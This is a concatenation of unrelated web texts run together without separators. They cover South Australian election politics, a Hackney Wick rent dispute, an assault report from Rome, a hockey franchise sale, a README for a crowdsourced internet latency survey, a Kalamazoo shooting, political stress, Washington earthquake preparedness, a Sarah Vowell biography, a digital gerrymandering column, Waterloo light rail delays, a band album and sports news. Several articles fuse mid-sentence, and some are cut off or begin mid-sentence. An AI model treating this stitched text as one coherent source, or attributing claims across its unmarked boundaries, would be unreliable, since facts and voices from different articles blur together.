"Will we have what's happened in other states? Quite possibly. So could [unsavoury revelations about candidates] happen to us? Yes it could. Am I concerned? Yes I am, but I'll do my utmost to make sure it doesn't happen."
Mr Burgess does not believe any political party, including NXT, will be a threat to One Nation in South Australia.
'Very crowded house' at next year's election
But Flinders University political expert Haydon Manning disagrees.
He has cautioned against using Queensland — or to some extent Western Australia — as a test case, labelling South Australia a "different kettle of fish".
"Really it's a very crowded house on the right in South Australia looking towards March 2018," he said.
"We've got Family First, obviously One Nation are looking at putting candidates up and of course there's that other big choice, Xenophon."
Mr Manning also expects Liberal Party defector Senator Cory Bernardi to form the Australian Conservatives and to have a presence.
"I can't see how Bernardi, having broken away, formed a party, launched a website, trying to attract members, cannot but stand candidates," he said.
"Certainly the Upper House. I cannot see how he won't run a candidate, but also many Lower House seats, so there's another choice for voters on the right."
Senator Bernardi said previously — and again via text message to the ABC — that he has no plans for the South Australian election.
Mr Manning said the state's voters would head to the polls after 16 years of a Labor Government, with a bolstered Liberal Party, in part because of an electoral boundaries redistribution and the entry of some new parties.
"The big question is, will there be the swing to remove a government, with voters saying 'I've had enough of Labor' and vote Mr Marshall in, or are we going to see the sense of volatility and doubt among voters about the major parties and that vote goes to Xenophon, One Nation or [whomever]?
"That's why I say this is going to be the most difficult election, certainly at this juncture, to get any sense about how it will pan out."
While doubts remain over the number of candidates, the seats they will run in and the parties they will come from, there is no doubt about which issue will dominate.
"Without a shadow of a doubt, if we have blackouts next summer, it'll be super huge," Mr Manning said.
"But even without that, the question of energy prices, energy reliability, and the whole period of the Labor Government oversight of the electricity grid in South Australia will be right in the centre."
Topics: government-and-politics, states-and-territories, saES News Email Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account
A motor repairs boss today hit out at the “arty types” he says are colonising east London as he prepared to leave his business of two decades to make way for a craft brewery.
When Michael Vallance came to Queens Yard industrial estate in Hackney Wick in 1992 it was home to lithographic printers and finishers and a glass factory.
Now he fears traditional firms, such as his MV Motor Repairs, are being pushed out for the likes of flexible event spaces and pop-ups, from which higher rents can be demanded.
Mr Vallance, 57, must make way for the Crate Brewery, which already runs a brewery, bar and pizzeria in a canal-side unit on the industrial estate and which will use his unit for storage.
He had earlier survived a £27,000 rent rise after the estate’s square-footage shot up in value.
Leyton-born Mr Vallance, a grandfather of three, said: “I lost 28 grand during the Olympics, there were six armed police with machine guns and this place was almost a no-go zone.
“But I’ve got a born instinct to survive.
“I’d just got over that and a year later these arty types started moving in.
“The landlord’s agents, Pearl & Coutts, told me I was an exemplary client, but in December 2013 they said that due to the current market my annual rent was going up from £40,000 to £67,200.
“They told me that the area had changed and I was on a very low rent here compared to what they could get. I nearly collapsed, I felt like they had just shot me.”
Mr Vallance arranged a year-long deal to work his way up from £40,000 rent to £50,000 and then to £67,200.
But last autumn he was told the lease would not be renewed. He fears for the jobs of his eight staff as he temporarily relocates to premises in Canning Town one eighth of the size.
Pearl & Coutts, agents for freeholder Hatton Garden Properties Ltd, said Mr Vallance’s lease had “come to a natural end”.
The Islington-based firm’s director, Nick Watson, said: “The regeneration of the area has led to a marked increase in the rental levels for all types of properties.
“Mr Vallance confirmed he would not be able to meet what would now be a fair market rent and decided he would have to relocate his business. We have assisted Mr Vallance by allowing him extra time to vacate.”
The directors of Crate Brewery said: “We have been offered unit eight on Queens Yard by Pearl & Coutts on a one-year licence term only.
“As such we are planning on using the unit for storage and general running of the business.
“Much like the rest of Hackney Wick we are having to work with the long-term objectives for the area, which involves the transfer of buildings from light-industrial to more residential purpose.”
The Olympic Park Legacy Company was granted planning permission by Tower Hamlets council to change a neighbouring warehouse’s type of use from general industrial to business, which includes studios, an events space and a café.A couple was allegedly physically assaulted by a Malaysian national for kissing and walking hand-in-hand near a former Islamic centre in Rome’s Esquilino quarter.
The man and woman were walking past the Islamic centre on Via San Vito, which had closed in February, holding hands and exchanging kisses when the 24-year-old Malaysian launched first a verbal, then a physical, attack, reports La Repubblica.
“You can not kiss in front of the mosque!” he shouted at the couple before pushing over the young woman and then launching an assault on her 27-year-old boyfriend, kicking and punching him.
A Carabiniere, a member of the Italian paramilitary police, arrived at the scene and was also attacked and slightly injured by the Malaysian.
The attacker was arrested for assault and for resisting arrest.
Italian media reports that further investigations are underway to clarify whether the aggressor belongs to radicalised elements.
The leader of a German Sharia Patrol has been jailed for sending money and night-vision goggles to a terror group https://t.co/2cEZQPaU9l — Breitbart London (@BreitbartLondon) July 27, 2017
The illegal mosque, the Hil Ful Fuzul Bengali Association, had been closed due to health and safety irregularities and after it was found that a nursery was operating in the building. Agents found a dozen children aged between four and 11 months old being looked after by pre-school workers in the cellar.
Across Europe, ‘shariah police’ operate in Muslim-majority neighbourhoods to enforce Islamic morality on Muslims and non-Muslims.
In 2013, three members of a self-styled “Muslim patrol” who harassed passers-by for holding hands, drinking alcohol, and wearing short skirts, were jailed for trying to enforce shariah law in East London.
The Old Bailey heard how the group of Islamists told a couple to stop holding hands because they were in a “Muslim area”, attacked a group of men who were drinking outside, and told a woman she would face “hellfire” because of the way she was dressed.
In Germany, Islamist gangs are using violence and intimidation to enforce shariah law in Hamburg and against Chechen-origin women in Berlin.
Twitter Follow @friedmanpress Follow Victoria Friedman onCranbrook, B.C. – A new ice age is officially underway. On April 27, the WHL Board of Governors voted unanimously to approve the ownership transfer of the Kootenay ICE franchise to Greg Fettes and Matt Cockell.
The new ownership group has promised a fresh start for the community and is excited to unveil a new look for the 2017-2018 season.
“The future is now. We see tremendous opportunity to engage the community and create an experience that our players and fans will embrace and have fun with,” said Matt Cockell, President and General Manager. “It is a very exciting time”.
“This is the City of Cranbrook and East Kootenay Region’s team,” added Cockell, “We are approaching every decision with that in mind. This is ICE Country and the community will be the driving force behind their team”.
A new home and away Jersey will be unveiled at a later date.
Contact:
[email protected]
This is source code for the Internet Connectome Project, which has the goal of mapping the networks delays throughout the Internet via crowdsourcing.
The goal of the survey was to map the topology of the Internet as well as measure, as accurately as possible, the latency between any two end points of the Internet where users could be. The topology is surveyed using the traceroute tool. The latency is estimated using two types of pings. The first ping method is the classical ping that uses the ICMP protocol to estimate the round-trip time between two computers. The second ping method is the non-traditional TCP ping that uses the TCP protocol to estimate the time it takes to establish a TCP connection between the local host and the remote destination.
Volunteers could participate to the survey by going to our Internet survey web page and launching a Java applet. The applet probes the topology of the Internet and estimates the latency to a number of remote destinations as determined by our survey server. The survey server determines which remote hosts will be probed by the volunteers in order to ensure a good coverage of the Internet as well as reliable latency measures.
Data
The project is now finished, and the data can downloaded here.
Reference
Some stuff to config:
server/pings/web_server/resources.py:
var always_up_addresses : The references IP to ping
: The references IP to ping var probability_to_ping : The probability to ping a reference ip
: The probability to ping a reference ip var _num_addresses : the number of additional ip to ping
It can also try to ping others client.
client/PingsApplet.java var SERVER_HOSTNAME, SERVER_PORT : The url/port of the ping server
, : The url/port of the ping server client/PingsClient.java var hostname and port in main() : The url/port of the ping server
and in : The url/port of the ping server client/applet_jar*.html a reference to the leaderboard server
The server asks the client to ping up to _num_addresses (defined in development.ini) ip per round. Up to half of that could be from other past client a server process saw. We limit this when the size of the list of past client is low to not DDOS them.
Technology used
Redis:
Redis is an open source, advanced key-value store. It is often referred to as a data structure server since keys can contain strings, hashes, lists, sets and sorted sets. It is in-memory, but can be saved: redis.io/topics/introduction.
Jinja:
Template for leaderboard.
Acknowledgements
The project was performed under the Ubisoft / NSERC industrial chair on Artificial Intelligence at the DIRO, Université de Montréal. We thank all the participants who helped collect the data.
License
The code and data are available under a BSD 3-clause style license.Copyright by WOODTV - All rights reserved An undated courtesy photo of Bryan Bigham.
Copyright by WOODTV - All rights reserved An undated courtesy photo of Bryan Bigham.
24 Hour News 8 web staff - OSHTEMO TOWNSHIP, Mich. (WOOD) -- Kalamazoo County prosecutors are working to decide if an Oshtemo Township man should faces charges after fatally shooting another man early Tuesday.
Kalamazoo County Undersheriff Paul Matyas told 24 Hour News 8 Bryan Joseph Bigham, 27, of Kalamazoo died Tuesday morning at Bronson Methodist Hospital.
He was shot just after midnight Tuesday in the 4600 block of Redleaf Street at the Woodland Estates mobile home park, southwest of Kalamazoo.
Copyright by WOODTV - All rights reserved (Courtesy photo of Brandon Groetsema.)
Copyright by WOODTV - All rights reserved (Courtesy photo of Brandon Groetsema.)
Family members identified Brandon Groetsema, 23, as the man who shot and killed Bigham. He does not face any criminal charges at this time.
Matyas says Bigham was visiting his girlfriend and was highly intoxicated when they got into an argument.
"The girl at the residence is yelling and screaming, calling for help, which awakens the neighbors," one of whom was a 23-year-old neighbor, Matyas said. "He (the neighbor) goes outside to see what the problem is and he has a gun with him."
Groetsema apparently found Bigham hiding behind a nearby shed and there was a conversation between them. Bigham allegedly threatened Groetsema and charged at him twice. The neighbor then shot Bigham, fatally wounding him, Matyas said.
Matyas said 911 received two calls about the incident. The first was from a woman in a mobile home. The second was from the neighbor who shot Bigham.
"The gist of his conversation was he was out with this guy and this guy had charged him twice and that he had a gun, and that he told the fella he had a gun and that he was going shoot him and he did," Matyas said.
He said gunshots could be heard on the 911 call.
Matyas said the neighbor was interviewed and then arrested -- initially on a charge of assault with intent to commit murder and then homicide after Bigham died.
The Kalamazoo County Prosecutor's Office requested more information from the sheriff's office before deciding whether to file charges against the neighbor. Matyas said it will be a tough decision for prosecutors, who want to make sure they make the right one.
It's not yet known when their decision will come down.
"We have preached this repeatedly: Any time there is an element of violence, all parties get scrutinized," Matyas said. "Sometimes it's pretty obvious what happens and who's perhaps at fault and who's responsible. Other times, it's not so clear. And this might be one of those times where it's not abundantly clear."
Meanwhile, Groetsema has been released from the sheriff's department's custody. Authorities couldn't hold him without charges from the prosecutor's office.
--24 Hour News 8's Evan Dean contributed to this report.Flickr user torbakhopper / Creative Commons
Caring too much about Trump’s misdeeds can heighten anxiety, despite creating a sense of purpose
By now, the clichés are rampant: Donald Trump is insane, narcissistic, irrational. He must be “on something.” The president can’t continue starting Twitter wars at this frenetic pace, say his enemies. If he doesn’t retreat, he’ll be impeached, or eventually just keel over.
But on the flip side, popular opposition to Trump also faces the mirror image of such crazy talk. Liberals feel like they’re at the edge of the abyss, unable or unwilling to see beyond their ideologically solipsistic world. They indulge escapist fantasies and emotional diversions. They are experiencing political fatigue, with many losing energy to fight seemingly existential battles.
The never-ending assault of “bad news” on Facebook and cable television contributes to deepening woes. So, the question remains unanswered: do you embrace the anxiety of unpredictable (yet potentially fulfilling) engagement with the new reality, or try to disconnect from the matrix entirely?
“There’s a background sense of dread about what’s going to happen next,” said Avril Swan, a family physician in San Francisco. She added that a “feeling of powerlessness” is prevalent among her patients. “People are having panic attacks, insomnia, and it’s triggering people who have been through other traumas.”
Perhaps conservative fans of the president have little sympathy for such suffering, but many experts are saying that liberals with a history of depression are prone to experience major side effects from Trump being in the White House. Those with pre-existing conditions may find that political anxiety compounds uncertainty around other life issues.
Among the many symptoms seen by stressed Americans are sleep disturbance, stomach problems, weight change, and headaches. Some people are absorbing the larger political burden in a somatic way, worried sick about racist rhetoric, the “Muslim ban,” immigration crackdown, increase in anti-Semitism, and an endless litany of policy prescriptions that could keep every progressive up at night.
Among the most disconcerting news from Washington: reports about Russian interference in our election, retracted wiretap accusations, and the impending loss of health care for tens of millions. One development after the other creates a sensation that the country could be headed in the wrong direction, and that citizens may not have any control over their future.
Since November 8, crisis and suicide prevention help lines have had significant upticks in callers. Also, the number of appointments on Talkspace, an online therapy portal, tripled after Election Day.
Real ‘disorder’ or mere ‘reaction’?
An article last month in Kaiser Health News elevated recognition of Post-Election Stress Disorder (PESD) as a real ailment. And doctors say politics increasingly plays into what’s bothering their patients.
Swan estimated that 85 percent of her patients bring up politics without her prompting them. “This is not normal,” the Bay Area doctor said. “We will not accept this. We will never be at ease with this. It runs counter to every cell in our bodies.”
However, there is significant pushback against the concept of PESD, with some critics saying that it trivializes PTSD, and others merely saying that the phenomenon is more of a “reaction” that is bound to dissipate but not a full-blown disorder. Nevertheless, some professionals argue that it’s completely “normal” to feel menaced by a massive threat to American democracy.
Most Americans now say the current political climate is indeed a significant source of stress. This includes many conservatives as well, with polarization often negatively impacting relationships at home and at work.
“Stress in America,” a survey conducted by the American Psychological Association (APA), showed in February that Democratic, higher-educated, and urban people tended to report more ill effects from the political climate. Of Democrats, 72 percent said that the outcome of the 2016 election was a significant source of stress. And even of Republicans, 59 percent said the future of our nation provoked stress.
In the sixth months prior to the study’s publication, Americans’ overall average stress level apparently went up more than at any other time during the survey’s 10 years in existence. In addition, four out of five Americans now say that stress is creating at least one health problem.
“Stress related to the election is real but that doesn’t make it a disorder,” said Vaile Wright, a psychologist at the APA. “People are stressed about March Madness but we don’t call that a disorder...We’ve just been calling it post-election stress and not assigning it a specific condition.”
“When it becomes chronic and untreated, it can lead to various physical and mental health disorders,” Wright said, adding that at therapy sessions “in red, blue, and purple states, people are talking about politics.”
To be sure, the APA study “encourages people to stay informed, but know their own limits when it comes to taking in information as one way to diminish the constant exposure to potentially distressing information and the resulting physical symptoms.”
What is the best remedy?
It’s clear that Trump’s presidency has been a boon to many ratings-reliant and subscriber-based media outlets, and progressive causes like the ACLU have seen a surge in donations. However, getting off social media and turning off the tube could be advisable -- or at least reducing consumption if it’s too taxing.
While the solution for some patients with more severe reactions may be upping the dosage of anti-anxiety medication, others find solace in solidifying their commitment to causes and channeling their passions productively towards positive change.
Rather than idling in a state of mental distress, practical application of painful sentiments and bonding with like-minded people can be most effective.
The consensus is that blue citizens should focus on the things they can do, accepting a semi-permanent sense of loss, spending time with loved ones, and seeking real help if necessary.
“Our advice is, regardless of what side of the political divide you’re on: take an active approach to whatever stress you’re feeling, whether it’s related to politics or something else in your life,” said Wright of the APA. “Prioritizing self-care, adequate sleep, eating healthy, engaging in activities, social support...and family is very important.”
Wright added that concerned Americans should “contribute meaningfully in some way or another, particularly at the local level.”
Many Americans want to heal as a country, yet emphatically acknowledge their right to be angry. One way to move forward is by appreciating that Trump isn’t forever; there will be another election soon enough, and our democracy might be battered, but will survive.
“People are resilient, and obviously, we still live in an amazing country,” said Swan. “Whereas the majority of people don’t agree with Trump or his policies, most of us are not under direct threat at this moment.”
“Right now, our profession must become politicized for the health of particular individuals, our community, our planet,” she contended. “It’s a public health measure.”(Reuters) - Washington state is grossly unprepared for a large earthquake and tsunami that may strike in the coming decades, putting it at risk for a humanitarian disaster, the Seattle Times reported on Sunday, citing a draft government report.
The skyline of Seattle, Washington, U.S. is seen in a picture taken March 12, 2014. REUTERS/Jason Redmond/File Photo
Anticipating a poor response to such a disaster, the state’s emergency managers will begin asking residents to stock enough food and other supplies to survive on their own for two weeks, the newspaper said.
The Pacific Northwest region was once thought to be a low risk for a massive earthquake, compared with its coastal neighbor California.
Researchers, however, have come to believe that an 8.0 to 9.0 magnitude temblor has shaken Oregon and Washington every 230 years or so. The last struck about 315 years ago, according to the U.S. Geological Survey, so one is overdue.
To prepare for that possibility, Washington officials organized a four-day exercise called “Cascadia Rising” in June, and the results were laid out in a draft report, the Seattle Times reported.
“The state’s current mindset and approach to disaster response is not suitable to a catastrophic scale incident,” the assessment says, according to a copy the newspaper published online.
The draft report recommends expanding the emergency authority of Washington’s governor and putting in place plans for mass sheltering and feeding, among other steps.
The state Emergency Management Division wants to spend $750,000 a year urging people to have emergency kits that would last up to two weeks, the Seattle Times said.
On the Olympic Peninsula, which is vulnerable to being cut off if roads and bridges are damaged, people may be on their own for twice that long, an official told the newspaper.
“What you have on hand when this occurs is how you’re going to survive,” said Clallam County emergency coordinator Penny Linterman.Sarah Jane Vowell (born December 27, 1969) is an American historian, author, journalist, essayist, social commentator and actress. Often referred to as a "social observer," Vowell has written seven nonfiction books on American history and culture. She was a contributing editor for the radio program This American Life on Public Radio International from 1996 to 2008, where she produced numerous commentaries and documentaries and toured the country in many of the program's live shows. She was also the voice of Violet Parr in the animated film The Incredibles and its 2018 sequel.[1]
Early life and education [ edit ]
Vowell was born in Muskogee, Oklahoma, and moved to Bozeman, Montana, with her family when she was eleven.[2] She has a fraternal twin sister, Amy. Vowell earned a B.A. from Montana State University in 1993 in Modern Languages and Literatures[3] and an M.A. in Art History[4] at the School of the Art Institute of Chicago in 1996. She received the Music Journalism Award in 1996.
Career [ edit ]
Published works [ edit ]
Vowell is a New York Times bestselling author[5] of seven nonfiction books on American history and culture. Her most recent book is Lafayette in the Somewhat United States (2015), an account of the young French aristocrat who became George Washington's trusted officer and friend, and afterward an American celebrity––the Marquis de Lafayette.
In a review for The New York Times, Charles P. Pierce wrote, "Vowell wanders through the history of the American Revolution and its immediate aftermath, using Lafayette's involvement in the war as a map, and bringing us all along in her perambulations… and doing it with a wink."[6] NPR reviewer Colin Dwyer wrote, "It's awfully refreshing to see Vowell bring our founders down from their lofty pedestals. In her telling, they're just men again, not the gods we've long since made of them."[7]
She also wrote Unfamiliar Fishes (2011), which discusses the Overthrow of the Kingdom of Hawaii and the Newlands Resolution. In her Los Angeles Times review, Susan Salter Reynolds wrote of Vowell, "Her cleverness is gorgeously American: She collects facts and stores them like a nervous chipmunk, digesting them only for the sake of argument."[8] "Unfamiliar Fishes is a big gulp of a book, printed as an extended essay", wrote Allegra Goodman in The Washington Post. "Lacking section or chapter breaks, Vowell's quirky history lurches from one anecdote to the next. These are often entertaining, but in the aggregate they begin to sound the same, veering toward stand-up and a shaggy dog story—more David Sedaris than David McCullough." Although Goodman also wrote that "Vowell tells a good tale" with "shrewd observations", she found that "the narrative wears thin where casual turns cute and cute threatens to turn glib."[9]
Vowell's earlier book, The Wordy Shipmates (2008), analyzes the settlement of the New England Puritans in America and their contributions to American history.
Her book Assassination Vacation (2005) describes a road trip to tourist sites devoted to the murders of presidents Abraham Lincoln, James A. Garfield and William McKinley.
She is the author of two essay collections, The Partly Cloudy Patriot (2002) and Take the Cannoli (2000). Her first book Radio On: A Listener's Diary (1997), is her year-long diary of listening to the radio in 1995.
Her writing has been published in The Village Voice, Esquire, GQ, Spin, The New York Times, Los Angeles Times, and the SF Weekly, and she has been a regular contributor to the online magazine Salon.[10] She was one of the original contributors to McSweeney's, also participating in many of the quarterly's readings and shows.
In 2005, Vowell served as a guest columnist for The New York Times during several weeks in July, briefly filling in for Maureen Dowd. Vowell also served as a guest columnist in February 2006, and again in April 2006.[11]
In 2008, Vowell contributed an essay about Montana to the book State by State: A Panoramic Portrait of America.
Public appearances and lectures [ edit ]
Vowell signing books after a lecture at Lamar University, Beaumont, Texas, 2010
Vowell has appeared on television shows such as Nightline, The Daily Show with Jon Stewart,[12] The Colbert Report, Jimmy Kimmel Live!, Late Show with David Letterman, and Late Night with Conan O'Brien.[13]
In April 2006, Vowell served as the keynote speaker at the 27 |
the affirmative. Reporting on, and quoting, an article by Harvard law and computer science professor Jonathan Zittrain, Lee writes, “In 2010, Facebook conducted an experiment with political scientists to determine if it could prod people to vote. Facebook contained a ‘link for looking up polling places, a button to click to announce that you had voted, and the profile photos of up to six Facebook friends who had indicated they’d already done the same.’ And that graphic was ‘planted in the newsfeeds of tens of millions of users.’” What was the result? As Zittrain reported in the New Republic,
Overall, users notified of their friends’ voting were 0.39 percent more likely to vote than those in the control group, and any resulting decisions to cast a ballot also appeared to ripple to the behavior of close Facebook friends, even if those people hadn’t received the original message. That small increase in turnout rates amounted to a lot of new votes. The researchers concluded that their Facebook graphic directly mobilized 60,000 voters, and, thanks to the ripple effect, ultimately caused an additional 340,000 votes to be cast that day. As they point out, George W. Bush won Florida, and thus the presidency, by 537 votes — fewer than 0.01 percent of the votes cast in that state.
What could be wrong, though, with increasing voter participation? First, some would point out that people who are Facebook oriented — people who spend more time on social networks — might be inordinately liberal. Others, such as John Stossel and me, have asserted that encouraging generally apathetic, disengaged citizens who wouldn’t otherwise vote to cast ballots simply increases the number of low-information voters at election time. Yet there is another problem, as Zittrain explains:
Now consider a hypothetical, hotly contested future election. Suppose that Mark Zuckerberg personally favors whichever candidate you don’t like. He arranges for a voting prompt to appear within the newsfeeds of tens of millions of active Facebook users — but unlike in the 2010 experiment, the group that will not receive the message is not chosen at random. Rather, Zuckerberg makes use of the fact that Facebook “likes” can predict political views and party affiliation, even beyond the many users who proudly advertise those affiliations directly. With that knowledge, our hypothetical Zuck chooses not to spice the feeds of users unsympathetic to his views. Such machinations then flip the outcome of our hypothetical election. Should the law constrain this kind of behavior?
Professor Zittrain calls this “digital gerrymandering,” which is when a website disseminates information in a way that promotes its own political agenda. Any site can do this, and it’s quite insidious because Web users will generally be unaware of the manipulation. After all, would you know it if a social network simply didn’t send you a voting graphic that a certain targeted group received (I rarely even view my Facebook page)? Zittrain’s article title says it all: “Facebook Could Decide an Election Without [sic] Anyone Ever Finding Out.”
But political Internet manipulation has long been occurring without anyone, or at least without most everyone, finding out. Years ago already, Google censored sites such as The New Media Journal, Michnews.com, and The Jawa Report from its news search — a traffic-hobbling move that can send a site to a virtual Siberia — after accusing them of “hate speech” for criticizing Islam. Social commentators Dr. David Yeagley and Amil Imani had their MSN Hotmail accounts terminated for the same reason. And Google’s subsidiary YouTube once deleted an Islam exposé by commentator Michelle Malkin and has pulled or suppressed the traffic of other politically incorrect videos — all while purporting to be an open marketplace for ideas.
So will the next election be won via social-network sleight of hand? Tragically, you may never know.Regional politicians approved the $92.4-million deal for Bombardier trains in July 2013.
Regional staff, consultants and representatives from Crown corporation Metrolinx have done inspections at the Thunder Bay site to ensure quality of the vehicles.
Q: Is there a backup plan in the event Bombardier misses the December 2016 deadline?
A: "No. There really is no Plan B for a couple of reasons," Galloway said.
The region says there is no other manufacturer with extra low-floor vehicles sitting around. If the region opted to contract someone new, that would only increase the delay and the region would likely still have to pay Bombardier for work completed so far.
The region could investigate starting service with fewer than the 14 vehicles currently planned. To provide 15-minute service, frequency requires 12 trains plus two spares. With fewer trains, the region could probably launch 30-minute service initially, with the downside being that may not attract the ridership officials want to see.
Q: Why not break the contract?
A: If the region broke its contract with Bombardier that would likely mean years of legal wrangling between the two parties. That would still likely require paying the company for work completed.
Q: Can the construction schedule for GrandLinq be altered to line up with anticipated train delivery?
A: No. GrandLinq is required by contract to have the light rail system substantially completed by July 1, 2017. On that date, the region must start making payments to GrandLinq for operations and maintenance.
If the trains aren't ready and GrandLinq completes construction on time, the region still has to pay but the government won't be receiving the revenue from fares it anticipated.
However, at this point GrandLinq is behind schedule, Galloway said, so that might eliminate the gap. It is too early to call though since the consortium has more than a year to make up time.
Q: What is Bombardier doing to meet its deadlines?
A: Bombardier is moving production of the region's light rail trains to Kingston in October, with production expected to start in 2017. Some trains will be finished in Thunder Bay.
According to a work plan provided to the region, the company is taking several other actions including improving the expertise of workers and addressing staff turnover to deal with quality problems. A more comprehensive and joint control and monitoring program is also proposed so the region has a better idea of what is going on.
Q: Did the region see this coming?
A: Not really.
After informing officials in April of a train delay that would not impact the launch of light rail here, the region says there was no indication things were going to get worse.
"We can only go by what Bombardier was telling us and their corporate culture appears to be such that they told you what you wanted to hear," Galloway said.
Q: Did the region build any flex time into the project schedule in case of construction or other delays?
A: Yes, but that's been eaten by the train delay.
Q: Why did the region choose Bombardier?
A: Several reasons.
The Bombardier Flexity vehicle was preferred for the local system and has been used for various projects in Europe. The region wanted the low-floor vehicle.
The region also had to meet 25 per cent Canadian content rules to fulfil its funding agreement with the province, which is paying up to $300 million toward construction.
Other suppliers could have met the standard, Galloway said, but Bombardier could more easily.
Choosing Bombardier allowed the region to piggyback on the Metrolinx contract, which saved time and an estimated $1 million per vehicle.
Other options were to include the trains in the GrandLinq contract or put out a request for proposals.
Q: Why weren't the trains included in the GrandLinq contract for the project?
A: Doing so would have delayed the ordering of the trains by about a year because the design, build, finance, operate and maintain contract for light rail wasn't awarded until 2014. The region made its order in 2013.
As well, the region's order of 14 trains is considered small and may have cost more.
Q: Does the delay impact light rail construction?
A: No.
Q: If the final train is to be delivered in October 2017, isn't that enough time to launch the system that year?
A: Once the trains are delivered, the system still needs to be tested and the vehicles broken in. Each train also needs to be outfitted to match the electronics in the trains with what GrandLinq used for the system.
Q: Are officials worried Bombardier won't meet its December deadline?
A: "There is a fear for us that have lived and breathed this for almost 10 years now and some of us have the scars to show for it," Galloway said. "This is a big deal and any delay there's a sense of failure even though this is beyond our control."
[email protected], Twitter: @DesmondRecord[Photo Credit: Rob Scheuerman]
“This record feels like the beginning of our band. The first chapter and the reason why we started playing music. It's really the template to our future,” Can't Swim frontman Chris LoPorto says about their debut album, Fail You Again. “Writing and recording it all ourselves gave us so much insight to who we are and what kind of band we want to be.”
Fail You Again is officially releasing next Friday, March 10 via Pure Noise, but we have an early stream that you can check out below. It can still be pre ordered here.
Can't Swim are featured in AP 345, which you can pick up here.
In the new issue, LoPorto, formerly a drummer in punk bands, talks about the unexpected beginnings of Can't Swim, which saw him writing songs as therapy for a breakup and reconnecting with that same person three and a half years later.
“The drums are pretty different than most other instruments because they have no notes,” LoPorto says in the issue. “[When I first started writing songs], I was pretty unfamiliar with that stuff. I had no idea how many notes there were, no idea what chords and keys were. I remember always hearing it jamming in bands, but it was a foreign language to me.
“Some of the first demos were just blatant wrong notes, and the guys would say, 'You can hear that? It's like nails on a chalkboard.' I've done a lot of ear training to figure it out. I think I based a lot of the writing on rhythmic ideas: Instead of using a riff, it's putting a cool pattern in the chords.”
Can't Swim are about to head out with Set Your Goals and Four Year Strong on two separate tours.
“I think when writing a record, the most important thing to accomplish is to have everyone feel proud and a part of the project,” LoPorto continues about the new album. “We couldn't be more excited to release it and it was a pleasure to make. We hope everyone enjoys it as much as we enjoyed making it.”
And here's Fail You Again:
Tour dates:
Feb 23 – Nashville, TN – The End (w/Set Your Goals)
Feb 24 – Atlanta, GA – The Masquerade/Hell (w/Set Your Goals)
Feb 25 – St. Petersburg, FL – Local 662 (w/Set Your Goals)
Feb 26 – Orlando, FL – Backbooth (w/Set Your Goals)
Mar 10 – Pawtucket, RI – The Met (w/Four Year Strong)
Mar 11 – Boston, MA – Brighton Music Hall (w/Four Year Strong)
Mar 12 – Boston, MA – Brighton Music Hall (w/Four Year Strong)
Mar 13 – Albany, NY – The Fuzebox (w/Light Years, Sleep On It)
Mar 14 – Buffalo, NY – Waiting Room (w/Four Year Strong)
Mar 15 – Columbus, OH – Woodland Tavern (w/Four Year Strong)
Mar 16 – Indianapolis, IN – Hoosier Dome (w/Four Year Strong)
Mar 17 – Grand Rapids, MI – The Stache (w/Four Year Strong)
Mar 19 – Chicago, IL – Double Door (w/Four Year Strong)
Mar 21 – Iowa City, IA – Gabe’s (w/Four Year Strong)
Mar 22 – Omaha, NE – Sokol Underground (w/Four Year Strong)
Mar 23 – Springfield, MO – Outland Ballroom (w/Four Year Strong)
Mar 24 – Oklahoma City, OK – 89th Street (w/Four Year Strong)
Mar 25 – Houston, TX – Walter’s (w/Four Year Strong)
Mar 26 – Dallas, TX – So What?! Music Festival
Mar 28 – Nashville, TN – The End (w/Four Year Strong)
Mar 29 – Charlotte, NC – Neighborhood Theatre (w/Four Year Strong)
Mar 30 – Richmond, VA – Canal Club (w/Four Year Strong)
Mar 31 – Washington, DC – Rock and Roll Hotel (w/Four Year Strong)
Apr 1 – Freehold, NJ – GameChangerWorld (w/Four Year Strong)
Apr 2 – Amityville, NY – Revolution (w/Four Year Strong)Spurs forward claims honour for the fourth time after four goals in February
Harry Kane has been named the EA SPORTS Player of the Month for February after a superb run of goalscoring form.
The striker received the award after netting four goals in three Premier League matches and is the second Tottenham Hotspur player to claim it in as many months after Dele Alli in January.
Starting with a penalty in a 1-0 victory over Middlesbrough on 4 February, the 23-year-old finished the month with a quickfire hat-trick in a 4-0 home win over Stoke City.
"It's a great honour," he said after receiving the award for the fourth time in his career. "I'm in good form at the minute, I feel confident going into every match."
Kane, who also provided an assist for Alli against Stoke, beat five other contenders: Manchester City's Gabriel Jesus and David Silva, West Bromwich Albion defender Gareth McAuley, Hull City goalkeeper Eldin Jakupovic and Romelu Lukaku, the Everton forward.
The 23-year-old received the most votes combined of a panel of experts, Premier League captains and fans.
See: Past winners of EA SPORTS Player of the MonthComedy Central’s Stephen Colbert is slated to testify in front of a House immigration subcommittee, and it’s “not a TV stunt,” reports the Daily Caller.
According to an exclusive report from Jonathan Strong, the host of the nightly Colbert Report will appear “in character” in front of the committee on Friday to talk about the Union of Farm Workers’ “Take Our Jobs” initiative.
A spokesperson for the House Judiciary Committee told the Caller that Colbert’s appearance is “a serious issue … this is not a TV stunt.”
If confirmed, Colbert’s appearance in front of a House subcommittee will mark yet another blurring of the line between politics and Comedy Central’s late-night political talk shows.
Responding to Glenn Beck’s “Restoring Honor” rally last month, Colbert and Daily Show host Jon Stewart both announced rallies to be held in Washington, DC. Stewart’s rally is being dubbed the “Rally to Restore Sanity,” while Colbert’s tongue-in-cheek rally will be titled the “March to Keep Fear Alive.”
But while those rallies are meant to be satirical, Colbert’s appearance on the Hill will reportedly be in earnest.
The Daily Caller reports that it all began in July, when Colbert interviewed UFW President Arturo Rodriguez, who unveiled his union’s “Take Our Jobs” initiative — a campaign asking Americans to take over the jobs being performed by undocumented workers. It is meant to highlight the argument that illegal immigrants aren’t taking Americans’ jobs because Americans don’t want the sorts of jobs illegal immigrants perform.
Colbert signed on to “take” one of the farm jobs being performed by an undocumented worker, and reportedly appeared at a “Take Our Jobs” event with Rep. Zoe Lofgren (D-CA). His testimony in front of the subcommittee on immigration will reportedly deal with his appearance at the event.Launching in the first instance in India, Turkey and 8 markets in Africa – The Democratic Republic of Congo, Ghana, Kenya, Lesotho, Mozambique, Qatar, South Africa and Tanzania – it is in emerging markets such as these that the potential of the mobile phone as a powerful social enabler is most apparent.
